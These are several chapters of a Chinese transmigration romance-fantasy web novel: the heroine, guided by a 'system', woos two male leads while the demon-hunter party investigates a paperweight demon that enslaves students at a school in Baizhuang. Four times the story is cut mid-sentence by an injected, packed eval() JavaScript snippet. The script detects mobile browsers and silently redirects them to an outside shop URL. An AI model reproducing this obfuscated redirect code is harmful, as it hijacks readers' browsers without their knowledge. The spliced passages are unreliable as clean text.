嗯……渔歌互答,此乐何及啊。 谢斯年不负众望的解决了木偶人,阵眼一破,与此同时,那寓煞也立刻烟消云散。 危机解除了,不管是这边的还是周夏莲那边的。 周春和松了一口气,从一地的瓜子皮中抖抖裙子站起来。 她来到谢斯年身边,一抬头就是一张大大的笑脸:“我就知道你肯定能行……走吧,咱们回去找阿姐。她见到我们平安归去一定十分开心。” 两个人回到宅子里的时候,周夏莲和裴瑾果然已经平安从壁影里面出来了。 见到周春和毫发无伤,周夏莲这才松了口气。 没了寓煞凶煞之力的支撑,城中那些木偶人便一道灰飞烟灭了。 蓉城一事这才算是有惊无险的解决,周夏莲给周知音通了信,叫人把剩下的烂摊子收拾干净了之后,休息了片刻便准备继续往前赶路。 周初和适时的问:“那咱们接下来去哪里呢?” 原本他们就是漫无目的的往前走,哪里有需要就在哪里停留一阵。现在蓉城的事情解决了,一时间还真像是失了方向。 周夏莲道:“傅公子要寻找‘补天石’,正好我们也没有什么要紧的事情要做,不如就随傅公子一起去寻找补天石吧,这样也好沿路斩妖除魔。” 看来在周春和和谢斯年不在的时候,周夏莲已经保持着警惕之心问了傅怀玉出现在这里是为了什么了。 周春和心下了然,小说里也差不多是这么写的,她放下心来,道:“也好。那傅怀玉,接下来咱们要去哪儿呢?” 傅怀玉从怀中掏出一个罗盘状的东西,拨弄了一下上面的指针,解释道:“这叫‘灵司南’,是专门用来寻补天石的。” 说完之后,稍稍等了两秒,灵司南的指针指向了北边。 傅怀玉抬起头,看着众人温声道:“既然如此,就要麻烦诸位与我一同前往了。” 大家简单休整了一下便随着灵司南一道往北走。出了蓉城一路北上,还没走太久,天色就慢慢黑了下来。 此时还是夏季,天长夜短,饶是如此也抵不过几个人一路折腾。 因为他们走的路偏,方圆十几里都不曾有人家,便只好随意的宿在林子里面。 周春和挑了棵粗壮的梧桐树,小心翼翼地从包袱里面拿出一件袄裙铺好,滋滋润润的抱着包袱准备休息。 谢斯年则躺在周春和头上一条粗壮的树枝上,嘴里叼着一根狗尾巴草,一条腿蜷缩着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576617|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一条腿自然垂下来,在夜色里晃晃荡荡的。 他枕在自己的双臂上,马尾垂下来,两缕刘海被风吹的有些凌乱,正出神的望着天上的一轮明月。 今晚轮到裴瑾守夜,是以其他人都可以好好休息一下。虽然猎妖人风餐露宿已经成习惯,身体素质也比普通人好很多,哪怕是一夜没睡也没什么,但周夏莲还是担心裴瑾受不了,便守在他身边,想着到时候也可以与他换换岗。 傅怀玉则坐在了周春和身边,在周春和抬头就能看见的地方。 周春和小心翼翼地整理好了自己的简易铺盖,然后便美滋滋的躺下了。一抬头就能看见斜上方睡在树枝上的谢斯年。 周春和翻了个身,皱着眉将那几乎与夜色融为一体的黑衣少年赶出视线之外。 夜里有风吹着,气温就低了很多。周春和睡相不好,睡到半夜便踢开了盖在身上的夹袄,果不其然被冻醒了。 她迷迷糊糊的睁开眼想捞衣服,一转头就发现睡在自己身边的那抹白色身影消失了。 周春和脑子迷迷瞪瞪的有些转不过弯来,愣神了半分钟才反应过来傅怀玉不见了。 这个念头一出现,周春和立刻清醒了很多。 傅怀玉不见了?? 她腾的一下坐起来,心里一瞬间涌上很多不太好的画面。 难道是有什么怪物趁他们睡觉把傅怀玉掳走了? 那她一个手无缚鸡之力的小姑娘在这里岂不是很危险? 周春和连忙四处查看,并没有看到打斗的痕迹,自己的东西也都好好的在这里,再一回头,周夏莲和裴瑾两人正呢喃细语。她悬着的心这才放下了。 周夏莲和裴瑾还好端端的在这儿呢,那肯定没出什么事。 她稍稍一抬头,虽然在夜色里看不清少年有没有睡着,但周春和看见了谢斯年垂下来的马尾,心里不禁安定了些。还好还好,熟悉的人差不多还都在这,周春和心里立刻涌上如回家般舒坦的感觉。 她起身将夹袄拿回来,却没有继续睡,而是穿上鞋子,三步两步来到了周夏莲身边:“阿姐?” 周夏莲连忙回头:“怎么了?是不是想去小解?阿姐陪着你……” 周春和晃了晃周夏莲的胳膊:“不是不是,阿姐,那位傅公子人呢?” 周夏莲指了一个方向道:“他去那边接水了。怎么了,怎么忽然醒了?” 周春和有些不好意思的摸了摸鼻子:“我把夹袄蹬开了,然后就被冻醒了……不妨事的,反正我也睡不着了,正好去看看傅公子有没有接完水,若是没有我也可以帮帮忙,便不打扰阿姐和裴哥哥了。” 说着就要走,却被周夏莲拉住了,她不放心的嘱咐道:“莫要走太远,有危险第一个叫我。” 周春和应了好几声,周夏莲又给她整了整睡皱的衣服,这才目送她离开。 周春和没走太远,很快就在一个小湖便看见了傅怀玉。 他身边放着两个水壶,却没有在接水,看着有些出神的望着波光粼粼的湖面,不知在想些什么。 12. 与君初相识 此时已经到了后半夜,月光皎洁,萤火虫化作点点繁星在林中飞舞。 傅怀玉靠在一棵槐树上,周围是被风吹拂着的竹叶。月光流萤,水气氤氲,他穿着一身白袍,在万千华光中岿然而立。 周春和连呼吸都放缓了,生怕打破这样一幅如画美景。 真美啊,周春和看呆了。 傅怀玉身披浅发,头戴白色高冠,无数晶莹流光萦绕在他的身侧,美艳不可方物,纯洁如同神迹。 他微微垂着眼睫,似乎陷入了某个久远的回忆,眉宇间是化不开的哀伤。他指尖轻抚下颌,在盈盈月光中出尘不染。 怀袖清风,朗朗如月。公子只应见画,此中我独知津。写到水穷天杪,定非尘土间人。 周春和缓步走去。 傅怀玉察觉到有人过来,微微侧头,对上了周春和专注的视线。 周春和不自觉的放缓了声音:“你在做什么?” 傅怀玉温和一笑,于是身上的落寞一扫而空,又变回了从前那个温润如玉的公子:“夜里睡不着,便出来随便走走。你呢,怎么也没睡着?” 周春和有些不好意思的说:“我睡相不好,把盖在身上的衣服蹬掉了,于是便被风吹醒了。傅怀玉,你为什么看上去不太开心的样子?” 傅怀玉一怔,眼底划过一丝疲倦,但还是笑着的,抬起一双波光粼粼的眼睛温柔的望着周春和:“……看上去不太开心的样子?” 他重复了一遍:“……不开心么?” 语气平平,但他的眼睫垂了下来。 周春和也莫名有些难过。 因为谢斯年的结局是爆体而亡,为了给他的死亡铺垫,书中用了寥寥数语简单描述了一下他的身世。可是对于傅怀玉,书中似乎并没有做过多的解释。 或者也可能是三言两语的解释了,但周春和没用心看,现在早已记不清楚。 但按照周春和现在的印象,傅怀玉在书中似乎并没有什么让他半夜睡不着的烦心事……难道是和补天石有关? 其实周春和隐隐约约记得这补天石似乎大有来头,似乎不仅仅是傅怀玉说的这么简单,可是因为对男女主之间感情线的影响并不大,所以她也没有细究……难不成这东西还有什么了不得的故事? 她走近傅怀玉,靠在他身边,和他共享同一棵大树:“是呀,你是有什么秘密么?若是可以和我说的话就告诉我吧,很多事情说出来就好受多了……你放心,我绝对不会告诉别人的。” ——因为她记忆力很差,估计自己没几天也就记不清了。 傅怀玉轻轻笑起来,女孩的话抚平了他的眉头,水雾缭绕在他的脸颊,氤氲的水汽模糊了他的表情。 片刻后,周春和听见了傅怀玉很轻很轻的声音像是从遥远的地方传来:“是呀,我有一个秘密。” 周春和歪了歪脑袋:“什么?是可以告诉我的秘密么?” “嗯……应该可以告诉你吧。”傅怀玉的语气听起来好像也不确定。 “是什么?” 沉默。 片刻后,温柔的嗓音才再次响起:“……我一直在追寻一个遥不可及的幻影……为此拿我半生的光阴去交换,赌上了我所有的筹码。我一直以为等我屹立在世界的尽头,就可以不必再身受束缚。可是我现在发现……” 他的声音停了停,周春和似有所感的回头,对上了傅怀玉那双温润如水的浅色眸子。他轻轻笑起来,笑意浮于表面,并没有蔓进眼底。流光点缀在他的身后,被树枝割碎的月光像是水银缓缓流淌下来,铺天盖地的妆点着树林。 他的眼睛很亮很亮,在夜色里面,无端让人觉得像是一只被困住的小兽:“哪怕是我得到了想要的一切,拥有了梦寐以求的东西,也依然得不到自由。” 他轻轻笑起来,声音很轻,像是在用气声说话,孩子般的靠近周春和,和她分享一个只有两个人才能知道的宝藏:“……这就是我保守的秘密。” 周围依然很静,连风吹虫鸣声都似乎一并停了下来。周夏莲和裴瑾在很远的地方,他们听不见两个人的说话声。 周春和觉得自己心如捣鼓,但是她也说不出是为什么,就是想一个做了坏事的孩子一样担心被人发现。 片刻后,周春和拉了拉傅怀玉的袖子,朝他露出一个笑:“那我也告诉你我的一个秘密吧。” 傅怀玉眉眼弯弯:“好。” 周春和压低声音,稍显稚气的靠在傅怀玉耳边,悄悄地和他说:“其实在此之前我一直感觉我的生活像是一场梦境,直到现在我才有种脚踏实地的感觉……很久很久之前,我生活在安乐乡里,所有的一切都触手可及。但是就在十几天前,一切都戛然而止成了泡影……你能,你能明白吗?我曾经所有的努力,所有的奋斗……全都消失不见了。我落入一个没有未来的境地,一个进退维谷的状态。可我却找不到办法看清脚下的路。” 傅怀玉温柔的看着她,但是一句话也没说。 周春和知道他不明白,但她还是在说。因为她确实压抑了太久了,她也需要倾诉。 可她甚至不能明明白白的说出来。 “所有的事情都是这样,有起必有落。但我们能做的只有接受……改变可以改变的,释怀不能改变的……” 说着说着,周春和在心里竖了个中指。 哼,老天以痛吻她,她直接伸出舌头。 傅怀玉似乎在笑,过了一会儿之后,他郑重道:“谢谢你。” “啊?”周春和倒有些不好意思了,挠了挠脑袋,“那个……其实我也没做什么吧……” 只不过听了他几句倾述,顺便还吐槽了一下自己的状态。 她看着傅怀玉,一时心中涌上无数凌云壮志,豪迈的拍拍胸脯道:“傅怀玉,以后你若是再有什么难解的事情便告诉我,虽然我对很多事情也只是一知半解,但能有个人陪你说说话终归是好的。” 傅怀玉沉默半晌,慢慢点了点头。 周春和笑:“以后我会一直陪着你的。” 嗯,在成功攻略之前我会一直陪着你。 两个人默默的站了一会,傅怀玉笑道:“太晚了,回去休息吧。” 周春和立刻拉着他的衣袖道:“那你和我一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576618|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 傅怀玉一怔,很快便笑了:“好。” 回去之后,周春和好好的整理了一下自己的简易被褥,又用包袱压住盖在身上的夹袄,这才躺下闭上眼睛。 不过她也没有立刻睡着,而是在脑海里忽然系统,看了一下两个人现在的好感度。 自从前两次系统次次提醒她之后,傅怀玉和谢斯年再提升好感度系统就懒得和她说了。周春和得自己专门去戳系统问。 傅怀玉的好感度遥遥领先,已经到了可喜可贺的百分之二十。 谢斯年也稍有提高,终于突破了惊人的百分之十到了十六。 周春和嘴角挂上一抹笑,在心里比了个耶。 太好了,面包会有的,牛奶会有的,一切都会有的。 胜利的曙光就在眼前! 她怀着无尽的希望安然的进入了梦乡。 晨曦照亮林子,清晨的鸟雀声似乎都格外悦耳动听。 周春和沐浴着初升的阳光醒来,掬水洗了两把脸之后,一行人就再次开始赶路。 昨夜的事情似乎拉近了不少两人之间的距离,周春和能感觉到傅怀玉似乎放下了些戒备。 出了林子又往北走了两个时辰,傅怀玉手中的灵司南便不动了。 周春和瞠目结舌,伸出手指戳了戳灵司南,谁知指针依然一动不动。她目瞪口呆道:“这么珍贵的东西也会说坏就坏么?” 傅怀玉忍俊不禁:“灵司南不动,说明要找的东西就在这里,咱们找到了。” 周春和直接愣在原地——不是,这么容易的么? 按照她的经验,一般这种贯穿主线的东西会很难找到,大部分都是在中后段才能得手,甚至有的大结局了才能见到影子。这怎么一下子就找到了? 原文中是这么写的吗? 周春和揉了揉自己的脑子,心说早知道记忆力差会带来这么多血泪的教训,她当初就该认认真真仔仔细细的把这小说看上五遍十遍的,也不至于现在上天无路入地无门。 不过虽然她不记得细节,但是隐约记得这补天石确实是在中后期才找到,怎么会现在就到了目的地?难道说是这其中还有什么隐情? 周春和不得不怀疑这灵司南到底能不能行。 不过眼下也没有其他办法,周春和只得先顺着眼下的剧情继续往下走。 灵司南停住的地方是在一个名叫白庄的地方,只见这地方远远看上去便沼气冲天,乌鸦嘶哑的叫声冲破天际,行人的脸上全是忧愁表情,看起来便是个不祥之地。 周夏莲和裴瑾对视一眼,两个人的表情都有些凝重。 她从袖中摸出一张纸符,以指尖为笔,熟练的画上了几笔纹路。然后将燃烧的纸符往前一抛,纸符在触到白庄村牌石一瞬间,幽绿色的火焰便霎时熄灭了。 周夏莲眉头一皱,看来这白庄之内竟还藏着妖怪! 大家心中都警惕起来,纷纷拿好符纸和武器,周夏莲和裴瑾打头阵,中间跟着周春和,傅怀玉和谢斯年便落在了最后面。 周夏莲回头嘱咐了周春和几句,这才转身踏进了白庄。 13. 与君初相识 刚一踏进白庄,周春和就感觉到了一股不同寻常的味道来。 庄中的住户倒是不少,街上的行人也多,只不过各个脸上都是愁云密布,周春和一个个看过去,除了三岁稚子之外,没有一个人的脸上挂着笑容。 这也太奇怪了。 大家这表情也太出奇的一致了,而且都不笑……怎么个事儿?大家一起cos霸道总裁么? 周春和狗血小说看多了,脑子里自动配音:夫人,总裁已经三百天没笑了。 周春和收起自己的连篇浮想,仔细观察了一下路上的行人。 嗯,有头有脸还有影子,最重要的是,手指也都很正常,看样子不是妖怪捏出来的人偶。 那这是发生了什么? 若是有怪物在这里,大家为何不去寻求猎妖人的帮忙,或者是迁移这里?反而还一脸苦大仇深的守在此处…… 周春和都发现了不对劲,周夏莲他们自然也立刻就注意到了。 周夏莲和裴瑾对视一眼,裴瑾上前拉住一个行人,颇为礼貌的问:“敢问这位兄台,我们路过此地,见这地方似乎有些奇怪,为何大家的表情看起来如此……一言难尽?” 没想到那行人重重一叹气,像是有一大摊苦水要倒:“看几位身姿不凡,应该是猎妖人吧?唉,此事说来话长。” 为防止影响过路人,他们找了个僻静的地方安安静静的说话。 那行人一路上不住的叹气,眉头都快拧成结了:“唉,此事说来话长啊。诸位不知道,在几年前的时候,我们这地方土地肥沃,又有极出名的学堂和教书先生,乃是个极好的去处。可是这悠闲的日子没持续多久,一只大妖占据了这一方水土,是以我们这才愁眉苦脸的。您想想,这岂不成了虎穴狼巢?大家自然没有笑脸。” 周夏莲闻言更感到奇怪:“既然如此,为何不找猎妖人帮忙?” 那人一听,立刻慌忙的摆了摆手:“哎呦!这万万不可!您可知这大妖是什么?竟是那镇纸化成的妖怪,据说是在学堂中吸纳了太多学子的怨气,这才导致化成了妖怪……如今那妖怪不知给学生下了什么迷魂汤药,那些学生竟然如同木偶人一般只会学习背书……您刚刚说叫猎妖人,我们何曾没想过这一个办法?只不过那妖怪虽然好擒下,那些学生就要遭了殃……因为这妖怪竟像是勾去那些学生的魂,妖怪一旦出事,那些学生便更加痴呆。当父母的为了孩子自然不愿意再去捉妖……” 几个人面面相觑,总算是明白了这怪异的景象是为什么了。 怪不得这白庄的人个个都看着愁眉苦脸的,怪不得他们宁愿一直忍受也不去找猎妖人,怪不得他们也不举家搬迁。 原来这怪物捏住了他们的命脉——以他们的孩子做要挟,做父母的,自然不愿意自己的孩子受一点苦,所以为了孩子也就不得不忍受这些。 那行人叹了口气:“来了好几个猎妖人了,但都拿这妖怪束手无策,毕竟这妖怪捏着大家的命脉,谁都不敢真的与之抗衡。” 等那行人走后,众人一时陷入了沉默之中。 裴瑾率先开口:“如今看来贸然行事必然不妥,不如我们先在这里观望几日,找到机会再下手。如何?” 周夏莲沉吟道:“也好,就当作是休息了。” 其他人自然也没意见,大家便赁了一件独栋的宽敞房间做权宜之计。 租房子这事交给裴瑾去做,周春和没想到他看着不染凡尘,却对这些事情了如指掌,很快便租下一个又便宜又宽敞的房子。 周夏莲头一次出谷,对这些琐事不大了解,见裴瑾轻易解决,自然要调笑一二。 小情侣蜜里调油,有时候一件小事也值得夸赞,周夏莲脸颊绯红的称赞了裴瑾两句,裴瑾再在其他事情上称赞回来……你来我往的夸了两句之后,一旁听着的谢斯年终于受不了了,黑着脸和两人擦肩而过。 而沉浸在甜蜜中的周夏莲和裴瑾丝毫没发现谢斯年的情绪变化。 只有在一旁偷偷观望的周春和第一时间看出谢斯年黑如锅底的脸,忍不住藏在傅怀玉身后抚掌大笑。 笑着笑着,谢斯年一记似笑非笑的刀眼扫过来,周春和和他对上视线,立刻噤声了。 咳,罪过罪过。 租的宅子里面除了厨房库房之外一共六间可以睡觉的房间,几个人分配了一下,周夏莲自然想跟裴瑾住的最近。 只不过有人就不愿意了,谢斯年伏在周夏莲的膝盖撒娇,也非要住她隔壁:“姐姐,你知道我一向怕黑,只有住在相熟之人身边才能睡着。不如你与我一同选南边的房间,正好两间,你与我一人一间,好不好?” 周夏莲还当他是小孩子,耐心道:“你都这么大了,总有一日要独立,这次正好就当锻炼你了,我与春和一起住在南边,你与裴大哥和傅公子住在北边。” 周春和竖起耳朵听到这里,急急忙忙开口:“没事没事……我不怕黑,我一个人住也是可以的。姐姐,你与裴公子便一人一间房吧!你们住南边那两间,我们住北边即可。” 开玩笑,她才不干任何可能会拆开男女主的事情! 周春和时刻牢记自己的使命,舍己为男女主。她可以住在不熟的人身边,但男女主必须给她锁死! 不过……感受到背后一道冷飕飕的视线,周春和后知后觉的想,这岂不是得罪了她的攻略对象? 毕竟人家一心想和周夏莲在一起,而她这一开口直接把周夏莲推向了裴瑾…… 周春和咽了口唾沫,不自觉往周夏莲身边凑了凑,立刻感觉到那道视线更冷了…… 算了,她在心里给自己打气,既然干什么都会被记恨,那就意味着什么都可以干。 大家的房间就这么草率的被周春和以一己之力定了下来。 周夏莲和裴瑾住在一侧的房间,剩余三个人住在另一侧的房间,还有西边的一个房间便被搁置了下来。 在房间里收拾好了自己带来的东西之后,周春和便陷入了沉思。 她记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576619|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个镇纸怪是最重要的副本之一,耗时不算短,好在最后主角团有惊无险的解决了。 至于主角团是怎么解决的……周春和揉了揉自己的太阳穴,这次倒是比较容易的想了起来——她记得是大家扮演成学生进入了学堂,经历了一系列的坎坷挫折才解决了这次的危机。 但至于其中的细节……周春和不出所料的忘了很多具体的情节。 她对自己十分无语,按照她的看书习惯,只有男女主男女配之间的互动她才会仔细阅读,尤其是那种甜甜的让人不自觉姨母笑的内容,她一般都会呲着大牙起码翻来覆去的看三四遍以上。但那些大段大段的剧情和推进剧情的小故事她一般选择性看。 吊人胃口的呢,她看的就多一些。叙述平平的呢,她就直接跳过。 周春和心道,等出去之后她一定痛改前非,非得改掉自己这个坏习惯不可。 当初看书的时候怎么不多想想,万一就是自己穿进来了呢? 周春和再次叹了口气。 休息了一会儿,周夏莲就在外面喊她了。 原来是到了吃饭的时间,大家要一起出门吃个饭。 此地虽被大妖缠身,但相比于上一个村子来说还算是比较繁华。几人找了一家面馆,坐在路边摊上吃饭。 来这里吃饭的还有几个人,正坐在他们隔壁谈天。 周春和竖起耳朵听了听,原来说的是叫孩子过来读书的事情。 这白庄正如刚刚那个行人所说,是以学堂和教书先生扬名天下。这地方曾出过许多才子状元郎,各个都个顶个的出类拔萃。 也因此,各地的父母都争先恐后的想将自己的孩子送进来镀金。 白庄因为此事一时间风头无两。 但白庄之所以这么“高产”状元,自然和它严酷的规矩分不开关系。周春和对这种比较猎奇的事情一向记得清楚,所以还记得书中描述这学堂的条例。 每日卯时——也就是早上五点不到就得到学堂点卯,晚上亥时才能下学,每日足足学了十六七个小时。 在学堂期间,不可与同学说话,不能吃从家里带的东西,不能看话本闲书,不能起立行走,等闲时甚至连笑都不能笑。 而且教书先生动辄打骂,在机灵聪明的学生送进来,离开的时候也都是双目无神,虽然出口成章,但不过是死板机械的背诵。 那那些家长不明所以,还以为孩子终于有出息了,所以更加信任这学堂。 久压之下,必有反抗。可学堂人手完备,哪里是这些学生可以反抗的了的。 于是愈反抗愈镇压,活生生把这些学生压的转了性子。 再也没有学生胆敢反抗,但也不再有真正灵动活泼的孩子了。 学生们长久的积怨之下,竟然滋养了学堂中的镇纸,教它化成了怪物,为害一方。 周春和还记得自己当时看完之后狠狠的共情了。 他爷爷的,这辣鸡学堂简直和她们的学校一样令人发指! 14. 白庄 隔壁那两个吃饭之人也是在讨论学堂之事,大家都心照不宣的没再出声,安静的听身后的人聊和学堂有关的事情。 原本周春和以为二人是要大肆辱骂这个学堂,可谁知听了一耳朵之后,她后知后觉的明白过来这其中一人不仅没骂学堂,甚至还在央另一个人帮他找找“门路”,想把自己的孩子送进学堂里面。 这人应该是外地人,对白庄的事情了解不清楚。可另一个人是本地人,自然知道此事始末,便苦口婆心的劝阻。 车轱辘话翻来覆去的说,第一个人依然不太信,狐疑道:“莫不是你们不想再塞人进来,所以编出来的谎话吧?” 不仅听的人生气,就连周春和都想掰开他的脑子看看是不是被驴咬了一口。 不过还在本地人有耐心,仔仔细细的描述了一番那些学生的惨状,第一个人这才不情不愿的打消了念头。 他道:“既然这么说,我还有一事不解。” 劝他的人说得口干舌燥,正端着杯子灌水,听他这么说,便道:“还有什么事不解?说罢。” 那人便道:“你方才说学堂中困住了那些学生,这才导致大家拿那怪物无可奈何……可是这学生也就这么多,一两年过去也到了年纪,若是那怪物靠吸食人的怨气过活,学生成了怪物的傀儡之后那怨气也就逐渐消散了,怪物又是靠什么维持生计?” 虽说这人是个榆木脑袋,但是这一问倒是问在了点子上。 几个人立刻竖起耳朵仔细听,就听见另一个人解释道:“你有所不知啊,旧的一茬没了,这新的一茬便又送了上来……唉,这事说起来真是叫人唏嘘不已。你不知道,有些父母像是疯魔了一样,听了这白庄学堂的盛名之后便非要将孩子送进来……即使大部分被劝住了,但架不住来的人多,仍有许多学生被送过来,这才让那妖怪长盛不衰。” 第一个人更是疑惑:“这学堂究竟有何东西,以至于叫人这么着迷?” “唉,这事说来也是玄妙。只因这学生成了傀儡之后,并不像是普通傀儡那般行尸走肉,只对怪物唯命是从,而是看似正常,只不过每日除了读书写文章之外什么也不会做。学生父母只看到学生变成自己想要的模样,根本不管这背后的祸患……要不我怎么说他们像是魔怔了一般呢?叫孩子考取功名,竟是比孩子还重要了……” 话说到这份上,第一个人这才彻底止住了叫孩子来此处的想法。两个人一同感叹,另一侧的周春和听了也忍不住唏嘘不已。 唉,看来书中的孩子也没逃过如此凄惨的命运。幸好现在她不必如此辛酸的用功,要不然进到这种鬼地方,她这种懒惰的性子必定生不如死。 那两人说完了学堂的事,便又聊起收成庄稼之类的琐事。 几个人把耳朵收回来,周夏莲道:“这事一时还真不好下手。若是贸然行事,势必会打草惊蛇,这样那些学生说不定会陷入危险之中……咱们得小心行事。” 大家沉思了两秒,谢斯年先开了口。他掀起眼睑,用一双湿漉漉的眼睛看着周夏莲,道:“既然直接打不行,那不如咱们扮作学生悄悄潜进去?等摸清楚内情之后,再看看用什么法子可以彻底解决这件事。” 这确实是眼下最好的一个办法了,周夏莲思索两秒,便也答应下来。 她看了一圈在座的人,最后把目光停在了周春和身上:“春和,此事事关重大,不如你先不要跟着了。里面的情况不知如何,若是危险的话,我不一定能顾得上你。” 周春和一听眼睛一亮,她对周夏莲说的这个办法求之不得,毕竟光在外面躺着等几天就能顺顺利利的过完这part,对她这种只求活着不求真心的人来说实在是再好不过了。 “那敢情好……” 一句话刚冒出了个头,脑子里系统那熟悉的声音再次传来:“叮——嘿嘿,宿主,我又来了。” 周春和:“……” 马上就要答应的话就这么凝固在了嘴边。 以周春和对这系统尿性的了解,若是没事绝对不会在这个时候找她闲聊。 果不其然,下一秒系统笑嘻嘻的声音就传了过来:“随机任务二已解锁,请宿主主动跟在主角团身边斩杀镇纸怪。” 周春和:“……” 听见这嬉皮笑脸的声音就来气。 早知道刚刚嘴快一点赶紧答应下来了。 死嘴,该快的时候不快,不该快的时候倒是挺快的。 系统说完任务之后就再次装死,周春和以一种想哭但是还要强颜欢笑的模样看着周夏莲,继续说完了剩下的话:“那听起来很坏了……” 周春和深吸一口气,熟练的开始胡扯:“阿姐,我也要跟着你们进去,不然我一个人呆在外面害怕。你们都进去了,若是外面再来个怪物,那我岂不是如瓮中鳖了?到时候我为鱼肉人为刀俎,我想要求救也来不及了。而且自成功除掉那个寓煞之后,我的本事也有了提高,正所谓要常常练习才能有进益,你放心,我一定不会拖大家后腿的!” 周夏莲向来抵抗不了周春和的撒娇,最后被磨得没了性子,只好点头答应下来。 谢斯年隔着一张桌子盯着周春和看了两秒,不知道在想什么,见周春和的视线扫过去,又移开了目光。 捕捉到那抹视线的周春和心里一紧——这谢斯年不会又发现什么不对劲的了吧? 这人虽然看着总是一张笑脸,但是内里是个坏透了的人,要是再像上次一样把周春和按在墙上审问,那周春和可真吃不消了。 大家吃完了饭,又商议了一下一会儿行事的细节,然后才打听着找到了那学堂。 既然要装作求学的学生,那装扮必然不能像现在这般老成。五个人随便进了一家铺子,除了周春和和谢斯年之外又都换了身衣裳。 等在外面百无聊赖的周春和忍不住又生起了捉弄谢斯年的念头,但是想到了昨天谢斯年审问她的事情,又不自觉的打起了退堂鼓。 但又转念一想,想到了要攻略谢斯年的任务,周春和心中天人交战了一会儿,还是走了两步靠在了谢斯年身边,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576620|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下打量了一下他的衣裳,没话找话:“哎呦,你这衣服虽然看着颜色和昨天的没什么区别,但是领口袖口的花纹都不一样……你是什么时候换的衣服?” 她眼睛在眼眶里骨碌碌转了一圈,有了主意:“咳,不会是昨晚在那树上换的吧?那我岂不是一抬头就……哎呦!敲我脑袋干什么呀!” 周春和捂着被谢斯年敲过的脑袋,有些愤愤不平:“君子动口不动手,你干什么呀?” 谢斯年似笑非笑的打量了她一眼,语调飞扬,带着理所当然的顽劣:“我可不是什么君子。” 周春和被那眼神看的一激灵,忍不住又想起昨天被他压在墙上审问时,少年那双全是杀意的眼睛。 与之而来的,还是有关少年身世的记忆。 所以谢斯年养成了现在这副性子,和他小时候的经历也有很大关系吧? 不幸的童年要用一生去治愈……谢斯年的童年已经不能用不幸来形容,这完全就不是人能过的日子。 周春和忍不住在心里叹了口气。 这个不敢喷,这个生气了是真敢动手。这个活到这么大也是真不容易。 怪不得除了周夏莲之外,他根本没有任何在意的人。 不过周春和也没退缩,毕竟还要攻略他,要是一味的逃避,那她估计这辈子也回不了现实世界了。 她脸上绽出一个大大的笑容,被谢斯年盯着也依然没退:“你这是什么眼神呀?笑一笑呗,又没人要吃你。你说咱们都一起经历这么多了,为什么你对着我还是这样一副和我不熟的模样啊?你看你,长得这么俊俏,要是多笑一笑的话,肯定就更招人喜欢了。” 谢斯年似乎不太能熟练的应对这样直白的话语,他不自觉往旁边撤了一步,话却不甘示弱:“见了一个寓煞之后,周小姐的胆子是愈发大了。” 周春和笑眯眯道:“那是自然,等这几日解决了这个新的怪物,我的胆子只会更大!” 她的表情很得意,仿佛这真的是一件值得得意的事情。 谢斯年盯着她看了两秒,被那没心没肺的笑容刺到了似的立刻收回了眼睛。 好在周夏莲他们已经换好衣服出来了,几个人“焕然一新”,仿佛一下子年轻了好几岁。 周春和笑道:“果真是人靠衣装马靠鞍,阿姐,你现在看着倒像是我的妹妹了。” 周夏莲飞红了脸颊,嗔道:“好了,别开玩笑了,咱们快些走吧。” 周春和笑嘻嘻的挽住周夏莲,姐妹二人一起往学堂走去。 因为妖怪一事,这学堂远不如往日那般人头攒动,裴瑾和周夏莲找到了夫子,办好了一应入学事务又交了束脩之后,那夫子便叫他们明日过来进学。 镇纸所化的妖怪附在了一个姓孔的教书先生上,今日他们还没得空见到。 回去之后,周夏莲和裴瑾便为明日之事做准备。周春和帮不上什么忙,便琢磨着找点乐子。 一个人自然找不到什么乐子,周春和的目光巡视了一圈,最后落在了谢斯年身上。 15. 白庄 